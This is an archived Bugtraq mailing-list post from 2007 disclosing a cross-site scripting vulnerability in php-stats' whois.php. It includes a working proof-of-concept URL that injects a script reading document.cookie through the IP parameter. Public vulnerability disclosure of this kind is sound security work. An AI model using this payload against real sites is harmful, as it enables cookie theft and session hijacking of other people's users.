php-stats xss whois.php

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: php-stats xss whois.php
From: vasodipandora@xxxxxxxxx
Date: 11 Aug 2007 14:21:06 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

I have found an xss in whois.php page of php-stats.

http://phpstats.net/

Here is the XSS

php-stats-path/whois.php?IP=%22%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E

Prev by Date: [ MDKSA-2007:156 ] - Updated imlib2 packages fix several issues
Next by Date: [ MDKSA-2007:157 ] - Updated kdelibs packages fix cross-site scripting (XSS) vulnerabilities
Previous by thread: [ MDKSA-2007:156 ] - Updated imlib2 packages fix several issues
Next by thread: [ MDKSA-2007:157 ] - Updated kdelibs packages fix cross-site scripting (XSS) vulnerabilities
Index(es):
- Date
- Thread